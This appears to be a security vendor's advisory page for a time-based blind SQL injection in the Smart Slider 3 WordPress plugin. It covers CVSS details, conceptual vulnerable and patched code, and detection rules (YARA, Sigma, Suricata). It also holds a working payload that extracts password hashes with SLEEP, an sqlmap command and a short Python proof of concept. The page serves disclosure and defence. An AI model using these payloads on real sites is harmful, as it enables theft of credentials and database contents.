CVE-2025-6348
Executive Summary
CVE-2025-6348 is a time-based blind SQL Injection vulnerability discovered in the Smart Slider 3 WordPress plugin, affecting all versions up to and including 3.5.1.28. The flaw resides in the sliderid parameter, where insufficient input escaping and lack of prepared statements allow an authenticated attacker with Administrator-level privileges to inject arbitrary SQL queries. This can lead to the extraction of sensitive information from the WordPress database, such as user credentials, session tokens, and configuration data.
As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not involve the underlying web server (Apache/Nginx). The attack requires high privileges (Admin), but the impact is severe due to the potential for complete database compromise.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Administrators should verify the integrity of their plugin installation by checking file hashes against the official source. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.
CVSS Breakdown & Threat Level
- CVSS Score: 4.9 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High (Administrator)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate due to the high privilege requirement, the potential for data exfiltration makes it a critical concern for sites with sensitive data.
Deep Dive & Mechanics
The vulnerability exists in the sliderid parameter, likely used in a function that retrieves slider data. The plugin fails to properly escape the user-supplied input and does not use parameterized queries. This allows an attacker to inject SQL commands that are executed in the context of the existing query.
Vulnerable Code Pattern (Conceptual):
$slider_id = $_GET['sliderid'];
$query = "SELECT * FROM wp_nextend_sliders WHERE id = $slider_id";
$result = $wpdb->get_results($query);
Exploitation Mechanism: An attacker can inject a time-based payload to extract data character by character. For example:
1 AND (SELECT IF(SUBSTRING(user_pass,1,1)='a',SLEEP(5),0) FROM wp_users LIMIT 1)
This causes a delay if the condition is true, allowing the attacker to brute-force the admin password hash.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
$slider_id = $_GET['sliderid'];
$query = "SELECT * FROM wp_nextend_sliders WHERE id = $slider_id";
$result = $wpdb->get_results($query);
Patched Code (Expected):
$slider_id = intval($_GET['sliderid']);
$query = $wpdb->prepare("SELECT * FROM wp_nextend_sliders WHERE id = %d", $slider_id);
$result = $wpdb->get_results($query);
The patch uses intval() to ensure the input is an integer and $wpdb->prepare() to safely bind the parameter.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with Smart Slider 3 <= 3.5.1.28
- Valid Administrator credentials
Exploitation Steps:
- Authenticate to the WordPress admin panel.
- Identify a vulnerable endpoint (e.g.,
/wp-admin/admin-ajax.php?action=nextend_smart_slider3&sliderid=1). - Inject a time-based SQL payload:
1 AND (SELECT IF(SUBSTRING(user_pass,1,1)='a',SLEEP(5),0) FROM wp_users LIMIT 1) - Observe response delays to confirm injection.
- Use a tool like
sqlmapto automate extraction:sqlmap -u "http://target/wp-admin/admin-ajax.php?action=nextend_smart_slider3&sliderid=1" --cookie="wordpress_logged_in=..." --batch --time-sec=5
Proof-of-Concept (Python):
import requests
import time
url = "http://target/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in": "..."}
payload = "1 AND (SELECT IF(SUBSTRING(user_pass,1,1)='a',SLEEP(5),0) FROM wp_users LIMIT 1)"
start = time.time()
r = requests.get(url, params={"action": "nextend_smart_slider3", "sliderid": payload}, cookies=cookies)
end = time.time()
if end - start > 4:
print("Vulnerable - Time-based injection confirmed")
Blue Team (Detection & Response)
Detection Steps:
- Monitor for unusual SQL query patterns in database logs.
- Look for
SLEEP()orBENCHMARK()functions in queries. - Detect repeated requests to the vulnerable endpoint with varying
slideridvalues.
Response Actions:
- Immediately revoke Administrator privileges for suspicious accounts.
- Disable the Smart Slider 3 plugin until a patch is applied.
- Review database logs for signs of data exfiltration.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/wp-admin/admin-ajax.phpwithaction=nextend_smart_slider3andslideridcontaining SQL keywords (e.g.,SLEEP,UNION,SELECT). - Unusual response times (>5 seconds) from the vulnerable endpoint.
- HTTP requests to
File IOCs:
- Modified plugin files in
/wp-content/plugins/smart-slider-3/. - Suspicious PHP files in the uploads directory.
- Modified plugin files in
Database IOCs:
- Queries containing
SLEEP()orBENCHMARK()functions. - Unauthorized SELECT queries on
wp_usersorwp_optionstables.
- Queries containing
Detection Engineering
YARA Rule
rule CVE_2025_6348_SmartSlider_SQLi {
meta:
description = "Detects SQL injection attempts against Smart Slider 3 sliderid parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-6348"
strings:
$s1 = "sliderid=" nocase
$s2 = "SLEEP(" nocase
$s3 = "BENCHMARK(" nocase
$s4 = "UNION SELECT" nocase
condition:
all of ($s1, $s2) or all of ($s1, $s3) or all of ($s1, $s4)
}
Sigma Rule
title: CVE-2025-6348 Smart Slider 3 SQL Injection Attempt
id: 8f9a2b3c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects time-based SQL injection attempts against Smart Slider 3 plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'action=nextend_smart_slider3'
- 'sliderid='
condition: selection
keywords:
- 'SLEEP('
- 'BENCHMARK('
- 'WAITFOR DELAY'
falsepositives:
- Legitimate use of slider IDs with numeric values
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-6348 Smart Slider 3 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=nextend_smart_slider3"; http_uri; content:"sliderid="; http_uri; pcre:"/(SLEEP|BENCHMARK|WAITFOR)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Restrict Administrator access to only trusted users.
- Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.
Long-term Fix:
- Apply the official patch from Nextend when available.
- Upgrade to a patched version (expected > 3.5.1.28).
- Conduct a security audit of all WordPress plugins.
Workaround:
- Add a custom filter to sanitize the
slideridparameter:add_filter('nextend_smart_slider3_sliderid', 'intval');
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.